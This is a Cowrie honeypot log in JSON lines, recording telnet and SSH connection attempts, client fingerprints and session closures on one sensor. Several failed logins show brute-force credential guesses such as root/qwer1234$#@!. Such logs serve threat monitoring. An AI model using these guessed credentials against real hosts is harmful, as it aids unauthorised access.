{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34726,"dst_ip":"159.203.135.109","dst_port":23,"session":"22b49944053a","protocol":"telnet","message":"New connection: 135.148.33.91:34726 (159.203.135.109:23) [session: 22b49944053a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:18.244229Z"}
{"eventid":"cowrie.session.closed","duration":35.58203649520874,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:20.242404Z","src_ip":"135.148.33.91","session":"f26894e89bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38430213928223,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:20.314811Z","src_ip":"135.148.33.91","session":"f246fcf487e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99852466583252,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:29.438579Z","src_ip":"135.148.33.91","session":"305fe0658428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33a0bc46c99","protocol":"telnet","message":"New connection: 135.148.33.91:43264 (159.203.135.109:23) [session: c33a0bc46c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:29.629920Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"6266c573ec8b","protocol":"telnet","message":"New connection: 45.58.127.90:37886 (10.17.0.5:23) [session: 6266c573ec8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:29.652783Z"}
{"eventid":"cowrie.session.closed","duration":31.355817317962646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:31.048206Z","src_ip":"135.148.33.91","session":"64068a018c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53249263763428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:33.223849Z","src_ip":"135.148.33.91","session":"c078948f1a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08697772026062,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:37.526941Z","src_ip":"135.148.33.91","session":"7c1b98b5a97f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.797115325927734,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:37.984257Z","src_ip":"135.148.33.91","session":"595af44a4035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":40446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b435531430c","protocol":"telnet","message":"New connection: 104.140.145.149:40446 (159.203.135.109:23) [session: 7b435531430c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:38.822343Z"}
{"eventid":"cowrie.session.closed","duration":0.0041620731353759766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:38.826415Z","src_ip":"104.140.145.149","session":"7b435531430c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.173298835754395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:39.810380Z","src_ip":"135.148.33.91","session":"4a98d094c392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.459192991256714,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:44.629995Z","src_ip":"135.148.33.91","session":"0c731ec55d4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964170217514038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:46.408421Z","src_ip":"198.235.24.83","session":"5230f3ca5f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55058,"dst_ip":"159.203.135.109","dst_port":23,"session":"5377fd0825a4","protocol":"telnet","message":"New connection: 135.148.33.91:55058 (159.203.135.109:23) [session: 5377fd0825a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:47.458447Z"}
{"eventid":"cowrie.session.closed","duration":33.526291847229004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:51.770392Z","src_ip":"135.148.33.91","session":"22b49944053a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60964,"dst_ip":"159.203.135.109","dst_port":23,"session":"e081d96ecf62","protocol":"telnet","message":"New connection: 135.148.33.91:60964 (159.203.135.109:23) [session: e081d96ecf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:57.148850Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":3133,"dst_ip":"159.203.135.109","dst_port":22,"session":"c59be35caf00","protocol":"ssh","message":"New connection: 185.158.22.150:3133 (159.203.135.109:22) [session: c59be35caf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:00.424529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:00.431071Z","src_ip":"185.158.22.150","session":"c59be35caf00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:00.589193Z","src_ip":"185.158.22.150","session":"c59be35caf00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx","message":"login attempt [test/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:01.256887Z","src_ip":"185.158.22.150","session":"c59be35caf00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:02.420496Z","src_ip":"185.158.22.150","session":"c59be35caf00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79628586769104,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:02.426089Z","src_ip":"135.148.33.91","session":"c33a0bc46c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36816,"dst_ip":"159.203.135.109","dst_port":23,"session":"2823491f9c56","protocol":"telnet","message":"New connection: 135.148.33.91:36816 (159.203.135.109:23) [session: 2823491f9c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:03.945752Z"}
{"eventid":"cowrie.session.closed","duration":37.38174867630005,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:07.034451Z","src_ip":"45.58.127.90","session":"6266c573ec8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"c09e8519b1bd","protocol":"ssh","message":"New connection: 161.248.189.72:33192 (10.17.0.5:22) [session: c09e8519b1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:11.083683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:11.088591Z","src_ip":"161.248.189.72","session":"c09e8519b1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:11.318559Z","src_ip":"161.248.189.72","session":"c09e8519b1bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user21","password":"user21","message":"login attempt [user21/user21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:12.937923Z","src_ip":"161.248.189.72","session":"c09e8519b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:14.172446Z","src_ip":"161.248.189.72","session":"c09e8519b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44890,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c855de8e46","protocol":"telnet","message":"New connection: 135.148.33.91:44890 (159.203.135.109:23) [session: 80c855de8e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:17.786330Z"}
{"eventid":"cowrie.session.closed","duration":40.143540143966675,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:27.601890Z","src_ip":"135.148.33.91","session":"5377fd0825a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"237afdc86e0b","protocol":"telnet","message":"New connection: 135.148.33.91:52380 (159.203.135.109:23) [session: 237afdc86e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:30.949442Z"}
{"eventid":"cowrie.session.closed","duration":34.1414475440979,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:31.290182Z","src_ip":"135.148.33.91","session":"e081d96ecf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54102,"dst_ip":"159.203.135.109","dst_port":23,"session":"07b19e707da4","protocol":"telnet","message":"New connection: 135.148.33.91:54102 (159.203.135.109:23) [session: 07b19e707da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:34.200279Z"}
{"eventid":"cowrie.session.closed","duration":35.8122398853302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:39.757844Z","src_ip":"135.148.33.91","session":"2823491f9c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"173e1350282b","protocol":"telnet","message":"New connection: 135.148.33.91:60868 (159.203.135.109:23) [session: 173e1350282b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:45.808782Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":34739,"dst_ip":"159.203.135.109","dst_port":22,"session":"148c35530df1","protocol":"ssh","message":"New connection: 185.158.22.150:34739 (159.203.135.109:22) [session: 148c35530df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:47.898886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:47.903556Z","src_ip":"185.158.22.150","session":"148c35530df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:48.061042Z","src_ip":"185.158.22.150","session":"148c35530df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo1234","message":"login attempt [ubuntu/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:48.724687Z","src_ip":"185.158.22.150","session":"148c35530df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:50.083666Z","src_ip":"185.158.22.150","session":"148c35530df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35264,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa7cd792f7c","protocol":"telnet","message":"New connection: 135.148.33.91:35264 (159.203.135.109:23) [session: 1aa7cd792f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:51.128682Z"}
{"eventid":"cowrie.session.closed","duration":33.41392946243286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:51.200140Z","src_ip":"135.148.33.91","session":"80c855de8e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40230,"dst_ip":"159.203.135.109","dst_port":23,"session":"e33af7832f9a","protocol":"telnet","message":"New connection: 135.148.33.91:40230 (159.203.135.109:23) [session: e33af7832f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:25:58.495069Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41970,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c87661f7f9","protocol":"telnet","message":"New connection: 135.148.33.91:41970 (159.203.135.109:23) [session: 17c87661f7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:04.606178Z"}
{"eventid":"cowrie.session.closed","duration":35.09111261367798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:06.040428Z","src_ip":"135.148.33.91","session":"237afdc86e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":42194,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce4c2435e1b9","protocol":"telnet","message":"New connection: 104.140.145.149:42194 (159.203.135.109:23) [session: ce4c2435e1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:07.887126Z"}
{"eventid":"cowrie.session.closed","duration":35.187931060791016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:09.388086Z","src_ip":"135.148.33.91","session":"07b19e707da4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48404,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e28d41d1f05","protocol":"telnet","message":"New connection: 135.148.33.91:48404 (159.203.135.109:23) [session: 9e28d41d1f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:12.773800Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b13edf0cd96","protocol":"telnet","message":"New connection: 135.148.33.91:46340 (159.203.135.109:23) [session: 7b13edf0cd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:13.294705Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49738,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e35dd41ea10","protocol":"telnet","message":"New connection: 135.148.33.91:49738 (159.203.135.109:23) [session: 4e35dd41ea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:14.993876Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"def03d25dff8","protocol":"ssh","message":"New connection: 161.248.189.72:33264 (10.17.0.5:22) [session: def03d25dff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:17.965852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:17.970636Z","src_ip":"161.248.189.72","session":"def03d25dff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:18.204541Z","src_ip":"161.248.189.72","session":"def03d25dff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234$#@!","message":"login attempt [root/qwer1234$#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:19.172577Z","src_ip":"161.248.189.72","session":"def03d25dff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:20.408442Z","src_ip":"161.248.189.72","session":"def03d25dff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11264204978943,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:20.921340Z","src_ip":"135.148.33.91","session":"173e1350282b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba10b78c4505","protocol":"telnet","message":"New connection: 135.148.33.91:56022 (159.203.135.109:23) [session: ba10b78c4505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:25.641421Z"}
{"eventid":"cowrie.session.closed","duration":36.39718675613403,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:27.525767Z","src_ip":"135.148.33.91","session":"1aa7cd792f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76775789260864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:32.262590Z","src_ip":"135.148.33.91","session":"e33af7832f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":40560,"dst_ip":"159.203.135.109","dst_port":22,"session":"35bf2d0d7c71","protocol":"ssh","message":"New connection: 185.158.22.150:40560 (159.203.135.109:22) [session: 35bf2d0d7c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:26:34.889228Z"}
